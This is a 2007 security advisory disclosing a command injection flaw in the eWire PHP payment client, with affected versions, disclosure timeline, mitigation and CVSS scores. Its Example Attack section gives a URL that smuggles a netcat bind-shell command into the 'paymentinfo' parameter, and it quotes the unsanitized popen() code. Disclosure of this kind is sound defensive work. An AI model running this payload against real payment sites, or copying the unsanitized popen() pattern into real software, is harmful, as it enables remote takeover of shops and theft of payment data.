

SECURITY ADVISORY February 2007

eWire PHP component remote code execution



Table of Contents

The Security Research Team.....	2
Brief Issue Description.....	3
Affected Components.....	3
Affected Sites With This Software.....	3
Vulnerable Platforms.....	3
Issue History	3
Example Attack.....	4
Detailed Issue Description.....	4
Issue Mitigation.....	5
CVSS Issue Severity Scores.....	5

About FortConsult

FortConsult is a specialist in technical services within the field of IT security. We are vulnerability experts that help business enterprises to protect themselves against the numerous security threats that exist today – both as impartial consultants and with responsibility for specific tasks.

Our primary services are security tests and practically-oriented security consultancy.

FortConsult is an unbiased, vendor independent security consulting company, based in Copenhagen, Denmark, and operating throughout Europe.

We are experts in discovering and managing vulnerabilities in applications and in IT infrastructure such as network equipment and servers.

We are also certified by VISA and MasterCard to perform PCI Data Security Standard audits.

If you would like to hear more about our services, or need assistance in solving a specific security problem, please visit www.fortconsult.net or call +45 7020 7525.

Copyright and Disclaimer

The information in this advisory is Copyright 2007 FortConsult A/S. It is provided so that our customers and others understand the risk they may be facing by running affected software on their systems.

In case you wish to copy information from this advisory, you must either copy all of it or refer to this document (including our URL).

No guarantee is provided for the accuracy of this information, or damage you may cause your systems in testing.

The Security Research Team

This advisory has been discovered by FortConsult's Security Research Team (team-member: Andrew Christensen), as part of a general investigation into the security of software used in the IT environments of our financial services customer.

Brief Issue Description

An attacker can request a simple URL, in order to execute commands on shops and payment gateways which employ the eWire payment client.

Note that this issue may have special relevance to PCI DSS certified sites.

Affected Components

eWire is a Danish e-wallet system. Shops and payment gateways which wish to accept eWire payments install the ewire Payment Client (ePC) on their shop or payment gateway webserver.

This advisory covers ePC version 1.60 and 1.70. Other versions remain untested as they are no longer available for download.

Affected Sites With This Software

Though there is no list of reference customers, there is a list of hosting providers that sell ewire enabled hosting, which can be found at the following URL:

<http://www.ewire.dk/page.asp?keyword=servicepartner>

It is very plausible what many of these would use the default ewirepcffunctions.php if running on Linux.

Vulnerable Platforms

Windows, Linux and FreeBSD versions are affected, but only the PHP implementation of these. On Windows, it is more likely that the COM server version of eWire's software will be used. This is not vulnerable to the same attack vector.

Note that this issue has only been tested on the Linux version, but the code appears identical.

Issue History

2005	Apparent Initial Discovery by persons outside FortConsult
February 5 th 2007	Analysis of eWire software by FortConsult
February 13 th 2007	Distribution of advisory to relevant FortConsult customers
February 15 th 2007	Disclosure to eWire
March 15 th 2007	Tentative public disclosure date

Note the fact that this issue has been known to people outside FortConsult for some time, and that this is a simple issue to exploit.

Example Attack

If the following URL is requested, and if the host "victim" has ePC installed, then a listening Bash shell will be started on port 6666.

```
GET
http://ewire.victim/simplePHPLinux/3payment_receive.php?paymentinfo=`/bin/nc -l -p6666 -e /bin/bash`

$ telnet ewire.victim 6666
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Detailed Issue Description

The vulnerability exists within the PHP script ewirepcffunctions.php, an include file working as a wrapper for the proprietary "ewire payment client". This file, ewirepcffunctions.php, does not sanitize arguments received in the URL when calling a command line executable.

Any shop or payment site which uses the affected components without using extra input sanitation, risks allowing execution of arbitrary commands. The "quick start" shop files included in the ePC distribution packages do not perform any sanitization.

3payment_receive.php accepts a GET argument called "paymentinfo" which is later used for calling a function within ewirepcffunctions.php in the following manner:

```
$strEncryptedPaymentInfo = $_GET["paymentinfo"];

ewirePC_Decrypt (
    $ewireMerchantID,
    $ewireServerURL,
    $strEncryptedPaymentInfo
)
```

ewirePC_Decrypt() is a function within ewirepcffunctions.php. In ewirePC_Decrypt(), \$strEncryptedPaymentInfo becomes \$strPaymentInfo.

```
$strCommandLine = "decrypt \"$strMerchantID\" \"$strServerUrl\" \"$strPaymentInfo\"";
$handle = popen($ewirePaymentClientFileName . " " .
    $strCommandLine, "r");
```

The argument "\$strPaymentInfo", ends up on the command line unmodified and unchecked.

Issue Mitigation

Code revision of ewirepcfunctions.php

It is simple to mitigate this issue on individual machines, by sanitizing input before it is used in the vulnerable popen() call.

Implementing this workaround will not cause any loss in functionality.

CVSS Issue Severity Scores

The issues described in this advisory have received a base score of 9.2. The score is based on the following criteria.

FortConsult has used the online CVSS calculator found at <http://www.patchadvisor.com/PatchAdvisor/CVSSCalculator.aspx> to calculate these scores.

BASE METRICS: 9.2

Access Vector:	Remote
Access Complexity:	Low (simple backtick command execution in URL)
Authentication:	Not Required
Confidentiality Impact:	Complete
Integrity Impact:	Complete
Availability Impact:	Partial
Impact Bias:	Confidentiality

TEMPORAL METRICS: 8.7

Exploitability:	High
Remediation Level:	Workaround (add your own sanitization code)
Report Confidence:	Confirmed (internally within FortConsult)

ENVIRONMENT METRICS: 8.8

Collateral Damage:	Medium
Target Distribution:	Low

FORTCONSULT

Straight talk on IT security